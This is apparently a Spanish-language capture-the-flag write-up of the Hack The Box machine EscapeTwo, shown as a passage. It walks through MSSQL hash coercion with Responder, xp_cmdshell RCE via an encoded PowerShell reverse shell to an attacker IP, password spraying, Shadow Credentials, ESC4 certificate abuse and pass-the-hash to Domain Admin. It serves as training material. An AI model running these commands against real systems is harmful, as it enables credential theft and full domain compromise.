    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

...[SNIP]...

[+] Listening for events...

A través de NetExec nos autenticaremos al servicio MSSQL y ejecutaremos la QUERY para abusar del componente xp_dirtree y así obtener el hash NTLMv2.

❯ nxc mssql "$IP" -u 'rose' -p 'KxEPkKe6R8su' -q 'EXEC Master.dbo.xp_dirtree"\\10.10.16.3\x",1,1;'
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] sequel.htb\rose:KxEPkKe6R8su 

Esto confirma que logramos capturar el hash del usuario sql_svc, el cual puede ser utilizado en ataques de cracking o relay dependiendo del entorno. Pero como vimos anteriormente, este usuario también era susceptible a Kerberoasting y no pudimos crackear su hash TGS.

❯ sudo responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

...[SNIP]...

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.51
[SMB] NTLMv2-SSP Username : SEQUEL\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::SEQUEL:9506f7e759857139:C532F79FF03759099BA26BDBED065CE0:010100000000000080FC2ACAC5CCDB016382748422F037540000000002000800440043003800340001001E00570049004E002D004800430036004D004B0035005200570034003200500004003400570049004E002D004800430036004D004B003500520057003400320050002E0044004300380034002E004C004F00430041004C000300140044004300380034002E004C004F00430041004C000500140044004300380034002E004C004F00430041004C000700080080FC2ACAC5CCDB010600040002000000080030003000000000000000000000000030000053277A0666E4230BF74AC3402F8FC7D366F4C020CAD0CEA59439BAB9493EDF020A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0033000000000000000000

Durante la revisión del archivo XML extraído del Excel, identificamos unas credenciales asociadas al usuario sa junto a una contraseña que parecía estar relacionada con MSSQL (MSSQLP@ssw0rd!).

Al probar estas credenciales mediante autenticación por defecto (Windows Auth), el login falló, lo cual indica que sa no es un usuario del dominio, razón por la cual tampoco apareció en el password spraying inicial.

Sin embargo, al intentar autenticación local (--local-auth), las credenciales funcionaron correctamente.

La cuenta sa (por System Administrator) en SQL Server es la cuenta administrativa por defecto cuando se usa autenticación mixta (SQL + Windows).

❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!'
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [-] sequel.htb\sa:MSSQLP@ssw0rd! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')

❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

Abusing xp_cmdshell component on MSSQL (RCE)

Al contar con acceso como sa, la cuenta administrativa por defecto de SQL Server, podemos aprovechar el componente xp_cmdshell para ejecutar comandos directamente en el sistema operativo.

Utilizando NetExec, es posible hacerlo con el parámetro -x, que permite lanzar comandos remotos a través del servicio MSSQL.

El resultado confirma que la ejecución es exitosa y que los comandos se ejecutan con el contexto del usuario sequel\sql_svc, lo cual nos da ejecución remota de comandos (RCE) en el host comprometido.

❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x 'whoami'
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL       10.10.11.51     1433   DC01             [+] Executed command via mssqlexec
MSSQL       10.10.11.51     1433   DC01             sequel\sql_svc

Nos pondremos en escucha por el puerto especificado en el generador de RevShells.

❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

A través de NetExec ejecutaremos el comando que se nos ha proporcionado para ganar acceso al Domain Controller a través de la Reverse Shell de PowerShell.

❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL       10.10.11.51     1433   DC01             [+] Executed command via mssqlexec

Verificamos que logramos acceder al sistema a través del usuario sequel\sql_svc.

❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 50022

PS C:\Windows\system32> whoami
sequel\sql_svc

Auth as ryan

Sensitive Credentials Exposed in SQL Server Configuration File

Realizando una enumeración del DC, nos encontramos con un archivo de configuración de SQL en el cual aparecen en texto plano las credenciales del usuario que disponemos actualmente.

PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

Validaremos que las credenciales encontradas en ese archivo de configuración son válidas para el usuario sequel\sql_svc.

❯ nxc ldap "$IP" -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\sql_svc:WqSZAF6CysDQbGb3 

Password Spraying

Comprobamos si la contraseña WqSZAF6CysDQbGb3 era reutilizada por otros usuarios del dominio. Para ello, realizamos un password spraying con NetExec utilizando dicha contraseña contra un listado de usuarios:

Como resultado, confirmamos que esta contraseña es válida para dos cuentas:

  • ryan:WqSZAF6CysDQbGb3

  • sql_svc:WqSZAF6CysDQbGb3

Esto indica una posible reutilización de credenciales, una práctica insegura que puede facilitar movimientos laterales en el entorno.

❯ nxc ldap "$IP" -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success | grep -v '[-]'
LDAP                     10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP                     10.10.11.51     389    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 
LDAP                     10.10.11.51     389    DC01             [+] sequel.htb\sql_svc:WqSZAF6CysDQbGb3 

Probamos de validar si con estas nuevas credenciales del usuario ryan obtenidas, podemos autenticarnos a WinRM para acceder remotamente al DC. Verificamos que en el resultado nos aparece como Pwn3d! lo cual nos confirma el acceso.

❯ nxc winrm "$IP" -u 'ryan' -p 'WqSZAF6CysDQbGb3'
WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) 
WINRM       10.10.11.51     5985   DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

A través de NetExec ejecutaremos comandos mediante PowerShell a través del parámetro (-X) y obtendremos finalmente la flag user.txt.

❯ nxc winrm "$IP" -u 'ryan' -p 'WqSZAF6CysDQbGb3' -X 'type C:\Users\ryan\Desktop\user.txt'
WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) 
WINRM       10.10.11.51     5985   DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
WINRM       10.10.11.51     5985   DC01             [+] Executed command (shell type: powershell)
WINRM       10.10.11.51     5985   DC01             37723********************01a663b

Auth as ca_svc

BloodHound Enumeration

En este punto realizamos una enumeración del dominio utilizando RustHound, un collector compatible con BloodHound y con soporte para Active Directory Certificate Services (ADCS).

❯ rusthound -d sequel.htb -i "$IP" -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -z --adcs --old-bloodhound
---------------------------------------------------
Initializing RustHound at 03:55:50 on 05/24/25
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2025-05-24T01:55:50Z INFO  rusthound] Verbosity level: Info
[2025-05-24T01:55:51Z INFO  rusthound::ldap] Connected to SEQUEL.HTB Active Directory!
[2025-05-24T01:55:51Z INFO  rusthound::ldap] Starting data collection...
[2025-05-24T01:56:22Z INFO  rusthound::ldap] All data collected for NamingContext DC=sequel,DC=htb
[2025-05-24T01:56:25Z INFO  rusthound::ldap] All data collected for NamingContext CN=Configuration,DC=sequel,DC=htb
[2025-05-24T01:56:25Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2025-05-24T01:56:25Z INFO  rusthound::json::parser::bh_41] MachineAccountQuota: 10
⢀ Parsing LDAP objects: 20%                                                                                                                                                                                                          [2025-05-24T01:56:25Z INFO  rusthound::modules::adcs::parser] Found 12 enabled certificate templates
[2025-05-24T01:56:25Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2025-05-24T01:56:25Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2025-05-24T01:56:25Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2025-05-24T01:56:25Z INFO  rusthound::modules] Starting checker for ADCS values...
[2025-05-24T01:58:40Z ERROR rusthound::modules::adcs::checker] Couldn't connect to server http://DC01.sequel.htb/certsrv/, please try manually and check for https access if EPA is enable.
[2025-05-24T01:58:40Z INFO  rusthound::modules] Checking for ADCS values finished!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 10 users parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 67 groups parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 1 computers parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 1 ous parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 1 domains parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 1 cas parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 34 templates parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 2 gpos parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] 21 containers parsed!
[2025-05-24T01:58:40Z INFO  rusthound::json::maker] .//20250524035840_sequel-htb_rusthound.zip created!

RustHound Enumeration Completed at 03:58:40 on 05/24/25! Happy Graphing!

Por otro lado, levantaremos nuestro BloodHound CE para tenerlo disponible y poder subir la información recopilada en el punto anterior.

❯ sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
[+] Running 3/3
 ✔ Container bloodhound-ce_graph-db_1    Healthy                                                                                                                                                                               21.0s 
 ✔ Container bloodhound-ce_app-db_1      Healthy                                                                                                                                                                               11.0s 
 ✔ Container bloodhound-ce_bloodhound_1  Started                                                                                                                                                                                0.4s

Abusing WriteOwner privileges to gain full control from a user

Durante el análisis en BloodHound, identificamos que el usuario ryan@sequel.htb posee el privilegio WriteOwner sobre el objeto ca_svc@sequel.htb.

Este privilegio permite que ryan se establezca como propietario del objeto, lo que a su vez le otorga control total sobre él. A partir de ahí, es posible llevar a cabo distintos tipos de ataques. Entre los más relevantes destacamos:

  • Targeted Kerberoasting

  • Shadow Credentials

  • Reset de contraseña (aunque no recomendable en un entorno real de pentesting)

Este tipo de abuso es especialmente útil cuando queremos escalar privilegios sin modificar directamente contraseñas ni levantar alertas.

A través de BloodyAD, nos convertimos en propietarios del usuario ca_svc aprovechando el privilegio WriteOwner detectado en BloodHound. Una vez asignado este cambio, nos otorgamos el permiso GenericAll, lo que nos da control total sobre la cuenta. Con este acceso, podemos llevar a cabo ataques como Shadow Credentials, Kerberoasting dirigido , etc.

❯ bloodyAD --host "$IP" -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

❯ bloodyAD --host "$IP" -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' add genericAll 'ca_svc' 'ryan'
[+] ryan has now GenericAll on ca_svc

Shadow Credentials Attack through certipy-ad

Aprovechando el control total que teníamos sobre la cuenta ca_svc, realizamos un ataque de Shadow Credentials utilizando Certipy. Este ataque consiste en inyectar un certificado malicioso dentro del atributo msDS-KeyCredentialLink del usuario objetivo, permitiéndonos autenticarnos como él sin conocer su contraseña.

En este caso, usamos Certipy para automatizar el proceso. Al finalizar, obtuvimos un TGT válido y la caché de credenciales (.ccache) para ca_svc, así como su hash NTLM, sin necesidad de modificar la contraseña ni generar alertas visibles.

❯ sudo ntpdate -s "$IP"

❯ certipy-ad shadow auto -username 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip "$IP"
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '784f3a72-8b59-7883-53ca-502e637d77fb'
[*] Adding Key Credential with device ID '784f3a72-8b59-7883-53ca-502e637d77fb' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '784f3a72-8b59-7883-53ca-502e637d77fb' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_svc@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

Auth as Administrator

ESC4 exploitation case with certipy-ad

En BloodHound verificamos que la cuenta ca_svc@sequel.htb posee el privilegio GenericAll sobre una plantilla de certificado vulnerable. Esta relación nos permite abusar de una vulnerabilidad tipo ESC4, que consiste en emitir certificados maliciosos para autenticarnos como otros usuarios privilegiados, en este caso Domain Admins.

Active Directory Certificate Services (ADCS) es la funcionalidad de Windows Server que permite gestionar infraestructuras de clave pública (PKI) dentro de un entorno de Active Directory. A través de los ADCS, los usuarios y equipos pueden solicitar certificados digitales para autenticación, cifrado, firma de correos, entre otros.

Una mala configuración en los permisos o plantillas de certificados puede permitir a un atacante emitir certificados maliciosos y autenticarse como cualquier usuario, incluso administradores, lo que representa una vía crítica de escalada de privilegios.

Usando certipy-ad, identificamos que la plantilla de certificado DunderMifflinAuthentication es vulnerable a ESC4. Esta plantilla permite autenticación como cliente, está habilitada, y ca_svc (a través del grupo Cert Publishers) tiene permisos peligrosos como WriteOwner, WriteDACL y FullControl.

Esta configuración nos permite emitir certificados maliciosos en nombre de cualquier usuario del dominio, incluyendo administradores, facilitando una escalada directa a Domain Admin.

❯ certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip "$IP" -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'sequel-DC01-CA'
[*] Checking web enrollment for CA 'sequel-DC01-CA' @ 'DC01.sequel.htb'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireCommonName
    Enrollment Flag                     : PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-05-24T02:11:28+00:00
    Template Last Modified              : 2025-05-24T02:11:28+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Property Enroll           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SEQUEL.HTB\Cert Publishers
    [+] User ACL Principals             : SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.

Seguiremos los siguientes pasos para poder abusar del ESC4 en el ADCS.

Aprovechando los permisos sobre la plantilla DunderMifflinAuthentication, modificamos su configuración mediante certipy-ad. Antes de realizar cambios, se guardó la configuración original por seguridad. La plantilla fue actualizada con éxito, lo que nos permitirá emitir certificados personalizados para llevar a cabo una escalada de privilegios.

❯ certipy-ad template -u 'ca_svc@sequel.htb' -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template DunderMifflinAuthentication -save-old -dc-ip "$IP"
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Tras modificar la plantilla DunderMifflinAuthentication, volvimos a analizar su configuración con certipy-ad. Se confirmó que los cambios fueron aplicados correctamente y que el grupo Cert Publishers, al que pertenece ca_svc, mantiene permisos peligrosos como Full Control, WriteOwner, WriteDACL y WriteProperty.

Certipy vuelve a marcar la plantilla como vulnerable a ESC4, lo que valida que sigue siendo explotable para emitir certificados maliciosos y escalar privilegios dentro del dominio.

❯ certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip "$IP" -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

Una vez confirmada la vulnerabilidad en la plantilla DunderMifflinAuthentication, procedimos a solicitar un certificado malicioso usurpando la identidad del usuario Administrator. Para ello, utilizamos certipy-ad, aprovechando los permisos de ca_svc sobre la plantilla.

La solicitud se completó con éxito y obtuvimos un certificado válido con UPN Administrator. El certificado fue guardado localmente en formato .pfx, lo que nos permitirá autenticarnos como Administrator mediante técnicas como Pass-the-Cert.

❯ certipy-ad req -u 'ca_svc@sequel.htb' -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn Administrator -dc-ip 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Con el certificado malicioso generado previamente, realizamos una autenticación como Administrator utilizando Pass-the-Cert a través de certipy-ad.

La autenticación fue exitosa, se obtuvo un TGT válido y, además, se recuperó el hash NTLM del usuario administrator@sequel.htb.

❯ certipy-ad auth -pfx administrator.pfx -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Abusing through Pass-the-Hash (PtH) on NetExec

Utilizando el hash NTLM obtenido previamente del usuario Administrator, realizamos una autenticación mediante Pass-the-Hash (PtH) usando NetExec.

La prueba fue exitosa, confirmando que el hash es válido y que tenemos acceso completo como Administrator a través de WinRM. Esto demuestra el control total sobre el sistema con privilegios de Domain Admin, sin necesidad de conocer la contraseña en texto claro.

❯ nxc winrm "$IP" -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) 
WINRM       10.10.11.51     5985   DC01             [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)

A través de NetExec obtendremos finalmente la flag root.txt sin necesidad de acceder al Domain Controller.

❯ nxc winrm "$IP" -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff' -X 'type C:\Users\Administrator\Desktop\root.txt'
WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) 
WINRM       10.10.11.51     5985   DC01             [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)
WINRM       10.10.11.51     5985   DC01             [+] Executed command (shell type: powershell)
WINRM       10.10.11.51     5985   DC01             40e56******************3c515ca58

Para la fase de reconocimiento inicial de la máquina EscapeTwo utilizamos nuestra herramienta personalizada . Esta herramienta automatiza un escaneo Nmap completo que incluye:

Utilizaremos una Reverse Shell de en PowerShell para obtener acceso a la máquina directamente.

iRecon
https://revshells.com
